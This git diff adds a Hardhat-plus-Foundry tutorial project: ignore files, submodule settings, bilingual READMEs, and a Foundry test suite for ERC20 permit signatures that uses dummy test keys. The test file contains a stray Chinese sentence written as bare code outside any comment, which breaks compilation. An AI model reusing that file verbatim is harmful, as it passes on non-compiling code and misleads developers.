diff --git a/basic/79-hardhat-foundry/.gitignore b/basic/79-hardhat-foundry/.gitignore
new file mode 100644
index 000000000..206e30833
--- /dev/null
+++ b/basic/79-hardhat-foundry/.gitignore
@@ -0,0 +1,85 @@
+
+*.swp
+*.swo
+
+# Logs
+logs
+*.log
+
+# Runtime data
+pids
+*.pid
+*.seed
+allFiredEvents
+scTopics
+
+# Coverage directory used by tools like istanbul
+coverage
+coverage.json
+coverageEnv
+
+# node-waf configuration
+.lock-wscript
+
+# Dependency directory
+node_modules
+
+# Debug log from npm
+npm-debug.log
+
+# local env variables
+.env
+
+# truffle build directory
+build/
+
+# macOS
+.DS_Store
+
+# truffle
+.node-xmlhttprequest-*
+
+# IntelliJ IDE
+.idea
+
+# vscode IDE
+.vscode
+
+# docs artifacts
+docs/modules/api
+
+# only used to package @openzeppelin/contracts
+contracts/build/
+contracts/README.md
+
+# temporary artifact from solidity-coverage
+.coverage_artifacts
+.coverage_cache
+.coverage_contracts
+
+# hardat-exposed
+contracts-exposed
+
+# Hardhat
+cache
+artifacts
+
+# Foundry
+out
+cache_forge
+
+# Certora
+.certora*
+.last_confs
+certora_*
+.zip-output-url.txt
+
+# extends
+/abi
+/abi-pure
+
+/typechain-types
+/**/*.js
+
+/lib
+/contracts/diamond-2
\ No newline at end of file
diff --git a/basic/79-hardhat-foundry/.gitmodules b/basic/79-hardhat-foundry/.gitmodules
new file mode 100644
index 000000000..4e7cc8a7d
--- /dev/null
+++ b/basic/79-hardhat-foundry/.gitmodules
@@ -0,0 +1,6 @@
+[submodule "lib/forge-std"]
+	path = lib/forge-std
+	url = https://github.com/foundry-rs/forge-std
+[submodule "contracts/diamond-2"]
+	path = contracts/diamond-2
+	url = https://github.com/mudgen/diamond-2-hardhat.git
diff --git a/basic/79-hardhat-foundry/Erc20Test.t.sol b/basic/79-hardhat-foundry/Erc20Test.t.sol
new file mode 100644
index 000000000..7ac9fd95a
--- /dev/null
+++ b/basic/79-hardhat-foundry/Erc20Test.t.sol
@@ -0,0 +1,286 @@
+pragma solidity ^0.8.13;
+
+import "forge-std/Test.sol";
+
+import "../src/Token.sol";
+import "../src/SigUtil.sol";
+
+
+contract ERC20Test is Test {
+    MockERC20 internal token;
+    SigUtils internal sigUtils;
+
+    uint256 internal ownerPrivateKey;
+    uint256 internal spenderPrivateKey;
+
+    address internal owner;
+    address internal spender;
+
+    function setUp() public {
+        token = new MockERC20();
+        sigUtils = new SigUtils(token.DOMAIN_SEPARATOR());
+
+        ownerPrivateKey = 0xA11CE;
+        spenderPrivateKey = 0xB0B;
+
+        owner = vm.addr(ownerPrivateKey);
+        spender = vm.addr(spenderPrivateKey);
+
+        token.mint(owner, 1e18);
+    }
+
+    function test_Permit() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 1e18,
+            nonce: 0,
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+
+        assertEq(token.allowance(owner, spender), 1e18);
+        assertEq(token.nonces(owner), 1);
+    }
+    function testRevert_ExpiredPermit() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 1e18,
+            nonce: token.nonces(owner),
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        vm.warp(1 days + 1 seconds); // fast forward one second past the deadline
+
+        vm.expectRevert("PERMIT_DEADLINE_EXPIRED");
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+    }
+
+    function testRevert_InvalidSigner() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 1e18,
+            nonce: token.nonces(owner),
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(spenderPrivateKey, digest); // spender signs owner's approval
+
+        vm.expectRevert("INVALID_SIGNER");
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+    }
+
+    function testRevert_InvalidNonce() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 1e18,
+            nonce: 1, // owner nonce stored on-chain is 0
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        vm.expectRevert("INVALID_SIGNER");
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+    }
+
+    function testRevert_SignatureReplay() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 1e18,
+            nonce: 0,
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+
+        vm.expectRevert("INVALID_SIGNER");
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+    }
+
+    function test_TransferFromLimitedPermit() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 1e18,
+            nonce: 0,
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+
+        vm.prank(spender);
+        token.transferFrom(owner, spender, 1e18);
+
+        assertEq(token.balanceOf(owner), 0);
+        assertEq(token.balanceOf(spender), 1e18);
+        assertEq(token.allowance(owner, spender), 0);
+    }
+
+    function test_TransferFromMaxPermit() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: type(uint256).max,
+            nonce: 0,
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+
+        vm.prank(spender);
+        token.transferFrom(owner, spender, 1e18);
+
+        assertEq(token.balanceOf(owner), 0);
+        assertEq(token.balanceOf(spender), 1e18);
+        assertEq(token.allowance(owner, spender), type(uint256).max);
+    }
+确保 allowance 无效和 balance 无效，call 会失败
+
+    function testFail_InvalidAllowance() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 5e17, // approve only 0.5 tokens
+            nonce: 0,
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+
+        vm.prank(spender);
+        token.transferFrom(owner, spender, 1e18); // attempt to transfer 1 token
+    }
+
+    function testFail_InvalidBalance() public {
+        SigUtils.Permit memory permit = SigUtils.Permit({
+            owner: owner,
+            spender: spender,
+            value: 2e18, // approve 2 tokens
+            nonce: 0,
+            deadline: 1 days
+        });
+
+        bytes32 digest = sigUtils.getTypedDataHash(permit);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPrivateKey, digest);
+
+        token.permit(
+            permit.owner,
+            permit.spender,
+            permit.value,
+            permit.deadline,
+            v,
+            r,
+            s
+        );
+
+        vm.prank(spender);
+        token.transferFrom(owner, spender, 2e18); // attempt to transfer 2 tokens (owner only owns 1)
+    }
+}
\ No newline at end of file
diff --git a/basic/79-hardhat-foundry/README-CN.md b/basic/79-hardhat-foundry/README-CN.md
new file mode 100644
index 000000000..329ced35c
--- /dev/null
+++ b/basic/79-hardhat-foundry/README-CN.md
@@ -0,0 +1,550 @@
+中文 / [English](./README.md)
+# Hardhat-Foundry
+
+## 前言
+
+1. **问题一: 为什么需要用`hardhat`?**
+
+   早些年流行`remix`和`truffle`，那时候的`remix`没有`console`等工具，`truffle`没有`debug`功能，`tenderly`在浏览器看不到身影，代码问题只能`code review`和`revert`测试。**彼时，我们缺乏完善的工程化框架，大多数项目只有寥寥数份合约。**
+
+   后来，`hardhat`开始流行，它能以`console.log`的方式调试代码，它`fork`网络不需要`Ganache`或`Geth`，它写测试不用回看合约里面的函数名和参数是什么(`Typescript`)......所以，**是时候使用`hardhat`了，它真的在`truffle`的肩膀上，向前走了很远。**
+
+2. **问题二: 我已经在用`hardhat`了，为什么还需要`foundry`?**
+
+   `hardhat`有**一些小痛点**，比如: 合约测试的准备程序很枯燥(部署和初始化)、`Library`合约的测试很繁琐，某些场景下的数据类型转换、数据编码解码、在JS层重现工具函数很烦恼等等。
+
+   为了解决以上问题，**`foundry`出现了，它创新式地提出用`Solidity`语言来测试`Solidity`**!!! 现在，你可以用最少的代码写测试!
+
+3. **问题三: 为什么不全力奔向`foundry`?**
+
+   `foundry`有不完善的地方，你会苦恼它的依赖管理(你或许需要去github上复制链接)，你会苦恼它的跨平台兼容性，你会苦恼它五花八门的CMD命令，你也或许会苦恼某些成熟的测试脚本(js/ts)不能复用，等等。**`foundry`是革命性的，但却没能完整的继承前辈们的财富——JS生态/hardhat生态**，这一点颇为遗憾。
+   
+4. **问题四: 我该如何选择开发框架?**
+
+   我不打算论述一番`remix`、`truffle`、`hardhat`和`foundry`的优缺点，然后把选择题抛给你。在这里，我会直接给你答案——**除非有了更大的革新，否则请无脑选择`hardhat-foundry`。**这是我经历N轮技术迭代和项目实践后的最佳搭配，请放心食用。如果你真的很喜欢`foundry`，朋友，除非你已经彻底转为专业的合约测试人员，否则不建议使用纯`foundry`。开发人员总是免不了会需要写或者接触一些`js/ts`的脚本的。
+
+   集百家之长永远是最佳选择。
+
+## 准备工作
+
+- 下载`forge`程序: https://github.com/foundry-rs/foundry/releases
+- 添加环境变量
+- 搭建项目(个人推荐`solidity-framework`)
+
+-----
+
+一些有用的网址
+
+- `ChainList`: https://chainlist.org/
+
+  这里有一键复制即用的RPC链接，你不需要注册`Infura`(尤其新手)。
+
+- `Tenderly` https://dashboard.tenderly.co/explorer
+
+  这里可以搜索交易的调用栈，查看交易的执行流等(如果合约已经开源的话)。
+  
+- `foundry` https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/41-foundry
+
+  `Dapp-Learning`前辈总结的优秀入门要点，建议浏览。
+
+## 核心操作
+
+**除了核心操作外，不要试图去记住所有的功能，谨记**。
+
+1. **合约编译**
+
+  - `npx hardhat compile`
+
+2. **合约测试**
+
+  - `npx hardhat test` | 更多用法: `npx hardhat test --help`
+  - `forge test`  | `forge test --mc <文件名匹配> -vv`
+
+3. **本地区块链网络[推荐`hardhat`]**
+
+  - `npx hardhat node`
+
+4. **在指定的区块链网络上运行TS脚本(比如部署)**
+
+  - `npx hardhat --network <网络名> run <脚本路径>`
+
+> 说明事项
+
+- `forge --help` 完整命令列表(有些命令有`Bug`)
+- `forge debug <合约路径> --sig <函数头> [参数列表]`调试函数适合底层汇编开发，辅助堆栈和内存的数据观察。
+
+## 配置说明
+
+- 项目依赖
+
+```json
+{
+  "name": "11-hardhat-foundry",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@chainlink/contracts": "^0.8.0", // 合约预言机提供商，你或许会用到它的接口
+    "@nomicfoundation/hardhat-foundry": "^1.1.1", // foundry运行环境的文件生成器
+    "@nomicfoundation/hardhat-toolbox": "^3.0.0",// hardhat环境套件，你需要的测试，开发，开源都有
+    "@openzeppelin/contracts": "^5.0.0",// openzeppelin合约库
+    "@openzeppelin/contracts-upgradeable": "^5.0.0", // openzeppelin升级适配的合约库
+    "@openzeppelin/hardhat-upgrades": "^2.3.3",// openzeppelin升级库的js/ts脚本包
+    "dotenv": "^16.3.1",// 运行时环境变量注入，让我们能在代码中直接访问某些自定义的特殊配置，比如私钥
+    "hardhat": "^2.19.0",// hardhat框架
+    "hardhat-abi-exporter": "^2.10.1",// (了解)纯abi生成器，配合 abigen 为go/java等后端人员生成合约操作文件
+    "hardhat-diamond-abi": "^3.0.1", // (了解) 钻石合约接口合成，让多个合约的接口聚合到一个接口文件中
+    "hardhat-exposed": "^0.3.13", // (了解)合约内部接口暴露，方便测试
+    "hardhat-ignore-warnings": "^0.2.9", // (了解) 警告信息忽略，老项目兼容开发或许会用到
+    "uniswap-v2-deploy-plugin": "^0.0.4" // (了解) 一键搭建uniswapv2测试环境
+  }
+}
+```
+
+- 项目配置(一些功能并未启用)
+
+```ts
+import {HardhatUserConfig} from "hardhat/config";
+import "@nomicfoundation/hardhat-toolbox";
+import "@nomicfoundation/hardhat-foundry";
+import "@openzeppelin/hardhat-upgrades";
+import "hardhat-abi-exporter";
+import "dotenv/config";
+import "hardhat-ignore-warnings";
+import "hardhat-diamond-abi";
+import {Fragment, FunctionFragment} from "ethers";
+
+const funcNameSet = new Set<string>()
+const funcSelectorMap = new Map<string, string>()
+const eventErrorSet = new Set<string>()
+const config: HardhatUserConfig = {
+    // warnings: {
+    //     'contracts/legacy/**/*': {
+    //         default: 'error',
+    //     },
+    // },
+    diamondAbi: {
+        name: "DiamondCombined",
+        include: ["Facet"],
+        strict: true,
+        filter: function (abiElement, index, fullAbi, fullyQualifiedName) {
+            if (fullyQualifiedName.endsWith("Test1Facet") || fullyQualifiedName.endsWith("Test2Facet")) {
+                return false
+            }
+            // distinct event and error
+            if (abiElement.type === "event" || abiElement.type === "error") {
+                const minimalAbi = Fragment.from(abiElement).format("minimal")
+                if (eventErrorSet.has(minimalAbi)) {
+                    return false
+                }
+                eventErrorSet.add(minimalAbi)
+                return true;
+            }
+            const selector = FunctionFragment.from(abiElement).selector
+            if (funcSelectorMap.has(selector)) {
+                throw new Error(`${FunctionFragment.from(abiElement).selector}, see:\n\t${Fragment.from(abiElement).format("minimal")}::${fullyQualifiedName}\n\t${funcSelectorMap.get(selector)}\n`)
+            }
+            funcSelectorMap.set(selector, `${Fragment.from(abiElement).format("minimal")}::${fullyQualifiedName}`)
+            if (!funcNameSet.has(fullyQualifiedName)) {
+                funcNameSet.add(fullyQualifiedName)
+                console.log(` >>> [hardhat-diamond-abi] ${fullyQualifiedName}`)
+            }
+            return true;
+        },
+    },
+    abiExporter: [{
+        runOnCompile: true,
+        clear: true,
+        path: './abi-pure/general',
+        format: "json"
+    }, {
+        runOnCompile: true,
+        clear: true,
+        path: './abi-pure/ethers',
+        pretty: true
+    }],
+    networks: {
+        hardhat: {
+            mining: {
+                interval: 50
+            }
+            // forking: {
+            //   url: "https://arbitrum.public-rpc.com",
+            //   // blockNumber: 132401260
+            // }
+        },
+        bsc: {
+            url: "https://bsc.rpc.blxrbdn.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        bsc_testnet: {
+            url: "https://bsc-testnet.publicnode.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        bsc_op_testnet: {
+            url: "https://opbnb-testnet-rpc.bnbchain.org",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        eth: {
+            url: "https://eth.public-rpc.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        arbitrum: {
+            url: "https://endpoints.omniatech.io/v1/arbitrum/one/public",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        arbitrum_goerli: {
+            url: "https://arbitrum-goerli.publicnode.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        }
+    },
+    etherscan: {
+        apiKey: process.env.ETHERSCAN_BSC as string
+    },
+    solidity: {
+        compilers: [
+            standardSettings("0.8.21"),
+        ]
+    },
+};
+
+function standardSettings(version: string) {
+    return {
+        version: version,
+        settings: {
+            optimizer: {
+                enabled: true,
+                runs: 200,
+            },
+            // viaIR: true
+        },
+    }
+}
+
+export default config;
+```
+
+- `.gitignore` 团队协作(建议根据项目灵活编辑)
+
+```git
+*.swp
+*.swo
+
+# Logs
+logs
+*.log
+
+# Runtime data
+pids
+*.pid
+*.seed
+allFiredEvents
+scTopics
+
+# Coverage directory used by tools like istanbul
+coverage
+coverage.json
+coverageEnv
+
+# node-waf configuration
+.lock-wscript
+
+# Dependency directory
+node_modules
+
+# Debug log from npm
+npm-debug.log
+
+# local env variables
+.env
+
+# truffle build directory
+build/
+
+# macOS
+.DS_Store
+
+# truffle
+.node-xmlhttprequest-*
+
+# IntelliJ IDE
+.idea
+
+# vscode IDE
+.vscode
+
+# docs artifacts
+docs/modules/api
+
+# only used to package @openzeppelin/contracts
+contracts/build/
+contracts/README.md
+
+# temporary artifact from solidity-coverage
+.coverage_artifacts
+.coverage_cache
+.coverage_contracts
+
+# hardat-exposed
+contracts-exposed
+
+# Hardhat
+cache
+artifacts
+
+# Foundry
+out
+cache_forge
+
+# Certora
+.certora*
+.last_confs
+certora_*
+.zip-output-url.txt
+
+# extends
+/abi
+/abi-pure
+
+/typechain-types
+# 注意: 这里忽略了所有js
+/**/*.js
+```
+
+## 测试技巧
+
+### hardhat
+
+#### 合约层测试
+
+合约也是可以调试的，调试输出信息将展示在hardhat本地网络，使用语法如下:
+
+```solidity
+import "hardhat/console.log";
+
+
+// TODO 在合约的关键位置进行日志打印
+console.log(参数1，参数2...);
+```
+
+#### 单元测试/功能测试
+
+`describe`函数的回调函数有`it`|`before`|`beforeeach/aftereeach`|`describe`四类测试相关的函数，如下: 
+
+- `it` 测试单元，用来模拟一次测试行为，测试单元之间相互独立，状态不传递
+- `before` 在所有测试单元执行之前执行，仅会执行一次，一般用来初始化，比如: 读取部署账号
+- `beforeeach` 在每个单元测试执行前执行，每个单元测试都会执行一次，一般用来执行loadFixture函数
+- `aftereeach` 在每个单元测试执行后执行，每个单元测试都会执行一次，很少使用
+
+`loadFixture(func)`函数是区块链网络闪存函数，它会记录下`func`首次被执行时的区块链状态，后续每次使用直接进行状态恢复而不是重复执行。
+
+```typescript
+describe("钻石合约", () => {
+    let user: HardhatEthersSigner
+    afterEach(()=>{
+        console.log("afterEach------------------------------------")
+    })
+    beforeEach(()=>{
+        console.log("beforeEach------------------------------------")
+    })
+    before("user", async () => {
+        console.log("before------------------------------------")
+        const accounts = await ethers.getSigners()
+        user = accounts[0]
+    })
+
+    async function deployFixture() {
+        return await Diamonds.deploy(false)
+    }
+
+    it("代理测试样例", async () => {
+        const diamond = await loadFixture(deployFixture);
+        const [example] = await deploy(false, "Example")
+        await diamond.proxy(example);
+        await (await (example.attach(diamond.address) as Example).setNumber(1024n)).wait()
+        expect(await (example.attach(diamond.address) as Example).getNumber()).eq(1024n)
+    });
+    it("升级测试样例", async () => {
+        const diamond = await loadFixture(deployFixture);
+        const [oldExample] = await deploy(false, "Example")
+        await diamond.proxy(oldExample)
+        const [newExample] = await deploy(false, "Example")
+        await diamond.upgrade(oldExample.address, newExample)
+        // assert
+        const selector = (newExample as any as Example).interface.getFunction("setNumber").selector
+        expect(await diamond.facetAddress(selector)).eq(newExample.address)
+    });
+});
+```
+
+#### 项目测试
+
+项目测试一般涉及多端联调，比如: `hardhat+Golang`，因此需要保证区块链网络状态时维持的，持久的，一般我们会在`scripts/`文件夹编写，相关命令如下:
+
+- 情况一: 本地网络测试(含`fork`)
+  - `npx hardhat node`
+  - `npx hardhat --network hardhat run <脚本路径>`
+- 情况二: 线上区块链测试(测试网)
+  - `npx hardhat --network <网络名> run <脚本路径>`
+
+### foundry
+
+#### 合约层测试
+
+```solidity
+import {console} from "forge-std/Test.sol";
+
+// TODO 在合约的关键位置进行日志打印
+console.log(参数1，参数2...);
+```
+
+#### 单元测试
+
+**不建议用`foundry`写功能测试，前端可能需要合约使用样例，所以你用`js/ts`写的功能测试是可以复用的。**
+
+> `foundry`的合约测试之 `new`
+
+`new`方式一般会配合`setUp`函数，它不能测试合约的内部函数，如下:
+
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {Example} from "../contracts/Example.sol";
+
+contract ExampleTest is Test {
+    Example public example;
+
+	// 每个单元测试的测试前环境(该函数会被自动执行)
+    function setUp() public {
+        example = new Example();
+        example.setNumber(0);
+    }
+
+	// 普通单元测试
+    function test_setNumber() public {
+        example.setNumber(1024);
+        assertEq(example.getNumber(), 1024);
+    }
+
+    // 模糊测试
+    function testFuzz_SetNumber(uint256 x) public {
+        example.setNumber(x);
+        assertEq(example.getNumber(), x);
+    }
+}
+```
+
+> `foundry`的合约测试之 `library`
+
+说明一点，`foundry`不支持`library`的测试覆盖报告生成，凡是被调用，皆会被识别为100%，没有解决方案。
+
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {LibExample} from "../contracts/LibExample.sol";
+
+contract LibExampleTest is Test {
+
+    // 模糊测试: 测试小于type(uint160).max的参数值能正常转换
+    function testFuzz_toUint160(uint256 n) public {
+        // if n > type(uint160).max, skip
+        vm.assume(n <= type(uint160).max);
+        LibExample.toUint160(n);
+    }
+
+    // 模糊测试: 测试大于type(uint160).max的参数值抛出异常
+    function testFailFuzz_toUint160_overflow(uint256 n) public {
+        // if n < type(uint160).max, skip
+        vm.assume(n > type(uint160).max);
+        LibExample.toUint160(n);
+    }
+}
+```
+
+> `foundry`的合约测试之 `override`
+
+```cmd
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {OverrideExample} from "../contracts/OverrideExample.sol";
+
+contract OverrideExampleTest1 is Test, OverrideExample {
+
+    function setUp() public {
+        // init
+        until = 10 days;
+    }
+
+    // override
+    function _blockTimestamp() internal view override returns (uint256) {
+        return 10 days;
+    }
+
+    function test_transfer() public {
+        transfer();
+    }
+}
+```
+
+```cmd
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {OverrideExample} from "../contracts/OverrideExample.sol";
+
+contract OverrideExampleTest2 is Test, OverrideExample {
+
+    function setUp() public {
+        // init
+        until = 10 days;
+    }
+
+    function testFail_transfer(uint256 x) public {
+        transfer();
+    }
+}
+```
+
+> `foundry`的合约测试之 `json`
+
+除非公司有专业测试生成JSON，否则不太建议使用。
+
+```solidity
+// 0- foundry.toml项目配置 (./代表项目根目录)
+fs_permissions = [{ access = "read-write", path = "./"}]
+// 1- 合约继承
+contract Xxx is Test
+// 2- 接口集成
+using stdJson for string;
+// 3- 使用语法 (.XxxDatas代表取JSON的XxxDatas属性)
+string memory json = vm.readFile("./test/testdata/Xxx.t.json");
+bytes memory bytesData = json.parseRaw(".XxxDatas");
+XxxData[] memory t = abi.decode(bytesData, (XxxData[]));
+
+// 注意事项: 
+// 1- 结构体的字段顺序必须严格安装字母排序进行排序!!!!! 比如: XxxData
+// 2- JSON中的数字绝对不能使用"括起来!!!! 另外，可以使用科学计数法，如200e18!!
+// 3- json.parseRaw的参数可以为 ""，表示加载整个json文件
+```
+
+## 结语
+
+朋友，我是一个人走上的传统开发，也是一个人走上的区块链开发，很不幸，我期间学过的至少90%的知识都已经荒废了。所以我很反感知识点的罗列和详尽的讲解，这完全是在浪费大家的生命。
+
+我认为，最小知识子集的讲解才是最重要的，这也是我本次分享的原则——以最少的东西让大家最快地入门，或许1个小时或许10分钟，你就可以说，"哦，我会了，我能开发了"。
+
+`Less is more.`
+
diff --git a/basic/79-hardhat-foundry/README.md b/basic/79-hardhat-foundry/README.md
new file mode 100644
index 000000000..a4cbd3f60
--- /dev/null
+++ b/basic/79-hardhat-foundry/README.md
@@ -0,0 +1,560 @@
+[中文](./README-CN.md) / English
+# Hardhat-Foundry
+## Preface
+
+1. **Question 1: Why use `hardhat`?**
+
+   A few years ago, `remix` and `truffle` were popular. At that time, `remix` lacked tools like `console`, and `truffle` didn't have a `debug` feature. `tenderly` was nowhere to be found in the browser, and issues in the code could only be addressed through `code review` and `revert` tests. **Back then, we lacked a comprehensive engineering framework, and most projects had only a few contracts.**
+
+   Later, `hardhat` became popular. It allowed debugging code using `console.log`, forked networks without the need for `Ganache` or `Geth`, and wrote tests without needing to review the function names and parameters inside contracts (`Typescript`)... So, **it's time to use `hardhat`; it has truly made significant advancements beyond `truffle`.**
+
+2. **Question 2: I'm already using `hardhat`, why do I need `foundry`?**
+
+   `hardhat` has **some minor pain points**, such as:
+
+    - Tedious preparation for contract testing (deployment and initialization).
+    - Cumbersome testing of `Library` contracts.
+    - Data type conversions in certain scenarios.
+    - Data encoding and decoding.
+    - Frustration when reproducing utility functions in the JS layer, and more.
+
+   To address these issues, **`foundry` appeared, innovatively suggesting using the `Solidity` language to test `Solidity`**!!! Now, you can write tests with minimal code!
+
+3. **Question 3: Why not fully embrace `foundry`?**
+
+   `foundry` has its shortcomings. You may struggle with its dependency management (you might need to copy links from GitHub), cross-platform compatibility, a variety of CMD commands, and perhaps the inability to reuse some mature testing scripts (js/ts), and more. **`foundry` is revolutionary but hasn't fully inherited the wealth of its predecessors—JS ecosystem/hardhat ecosystem**, which is somewhat regrettable.
+
+4. **Question 4: How should I choose a development framework?**
+
+   I won't go into a detailed discussion of the pros and cons of `remix`, `truffle`, `hardhat`, and `foundry`, and then throw the choice back to you. Here, I will give you a direct answer—**unless there is a major innovation, go ahead and choose `hardhat-foundry` without thinking twice**. This is the best combination I have come up with after experiencing numerous technical iterations and project practices, so feel free to use it. If you really like `foundry`, my friend, unless you have completely transformed into a professional contract tester, it is not recommended to use pure `foundry`. Developers will always need to write or deal with some `js/ts` scripts.
+
+   Combining the strengths of many is always the best choice.
+
+## Preparation
+
+- Download the `forge` program: https://github.com/foundry-rs/foundry/releases
+- Set up environment variables.
+- Create a project (I personally recommend `solidity-framework`).
+
+-----
+
+Some useful links:
+
+- `ChainList`: https://chainlist.org/
+
+  Here you can find RPC links that you can copy and use with ease. You don't need to register on `Infura` (especially if you're a beginner).
+
+- `Tenderly` https://dashboard.tenderly.co/explorer
+
+  Here, you can search for transaction call stacks, examine the execution flow of transactions, etc. (if the contract is open-source).
+
+- `foundry` https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/41-foundry
+
+  Excellent introductory points summarized by the predecessors at `Dapp-Learning`. I recommend browsing this.
+
+## Core Operations
+
+**Remember not to try to memorize all functions except the core operations**.
+
+1. **Contract Compilation**
+
+- `npx hardhat compile`
+
+2. **Contract Testing**
+
+- `npx hardhat test` | For more usage, `npx hardhat test --help`
+- `forge test`  | `forge test --mc <filename match> -vv`
+
+3. **Local Blockchain Network [Recommended `hardhat`]**
+
+- `npx hardhat node`
+
+4. **Run TS scripts on a specific blockchain network (e.g., deployment)**
+
+- `npx hardhat --network <network name> run <script path>`
+
+> Important Notes
+
+- `forge --help` for a complete list of commands (some commands may have bugs).
+- `forge debug <contract path> --sig <function signature> [parameter list]` Debugging functions is suitable for low-level assembly development, assisting in observing the stack and memory data.
+
+## Configuration Instructions
+
+- Project Dependencies
+
+```json
+{
+  "name": "11-hardhat-foundry",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@chainlink/contracts": "^0.8.0", // Oracle contract provider, you might need its interface
+    "@nomicfoundation/hardhat-foundry": "^1.1.1", // Foundry environment file generator
+    "@nomicfoundation/hardhat-toolbox": "^3.0.0", // Hardhat environment suite for testing, development, and open source
+    "@openzeppelin/contracts": "^5.0.0", // OpenZeppelin contract library
+    "@openzeppelin/contracts-upgradeable": "^5.0.0", // OpenZeppelin upgradeable contract library
+    "@openzeppelin/hardhat-upgrades": "^2.3.3", // JavaScript/TypeScript script package for OpenZeppelin upgrades library
+    "dotenv": "^16.3.1", // Runtime environment variable injection to access custom configurations like private keys directly in code
+    "hardhat": "^2.19.0", // Hardhat framework
+    "hardhat-abi-exporter": "^2.10.1", // (Optional) pure ABI generator, used in combination with abigen for generating contract operation files for Go/Java backend developers
+    "hardhat-diamond-abi": "^3.0.1", // (Optional) Diamond contract interface synthesis, aggregates the interfaces of multiple contracts into one interface file
+    "hardhat-exposed": "^0.3.13", // (Optional) Contract internal interface exposure for testing convenience
+    "hardhat-ignore-warnings": "^0.2.9", // (Optional) Ignore warning messages, useful for legacy project development
+    "uniswap-v2-deploy-plugin": "^0.0.4" // (Optional) One-click setup of Uniswap V2 test environment
+  }
+}
+```
+
+- Project Configuration (some features are not enabled)
+
+```ts
+import {HardhatUserConfig} from "hardhat/config";
+import "@nomicfoundation/hardhat-toolbox";
+import "@nomicfoundation/hardhat-foundry";
+import "@openzeppelin/hardhat-upgrades";
+import "hardhat-abi-exporter";
+import "dotenv/config";
+import "hardhat-ignore-warnings";
+import "hardhat-diamond-abi";
